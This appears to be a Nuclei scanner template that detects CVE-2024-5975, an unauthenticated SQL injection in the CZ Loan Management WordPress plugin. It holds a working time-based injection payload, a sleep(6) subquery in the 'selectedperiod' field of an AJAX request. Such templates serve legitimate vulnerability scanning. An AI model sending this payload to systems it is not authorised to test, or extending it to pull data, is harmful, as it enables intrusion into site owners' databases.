58 lines
1.9 KiB
YAML
58 lines
1.9 KiB
YAML
id: CVE-2024-5975
|
|
|
|
info:
|
|
name: CZ Loan Management <= 1.1 - SQL Injection
|
|
author: securityforeveryone
|
|
severity: critical
|
|
description: |
|
|
The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-5975
|
|
- https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
|
|
- https://vuldb.com/?id.272929
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2024-5975
|
|
epss-score: 0.00043
|
|
epss-percentile: 0.09404
|
|
metadata:
|
|
vendor: team-contriverz
|
|
product: cz-loan-management
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/cz-loan-management"
|
|
tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body,"CZ Loan Management")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
@timeout 20s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'contains(content_type,"text/html")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 4b0a00483046022100ec4f96c298e52d9d3fd187f1b6c1bcc35fbf776676afb5ee0a27e03d05fc617902210097d5d11f233719b3d6c99cf5e3e0ebf59de02b9d4a884f9cf519c76a3b966310:922c64590222798bb761d5b6d8e72950 |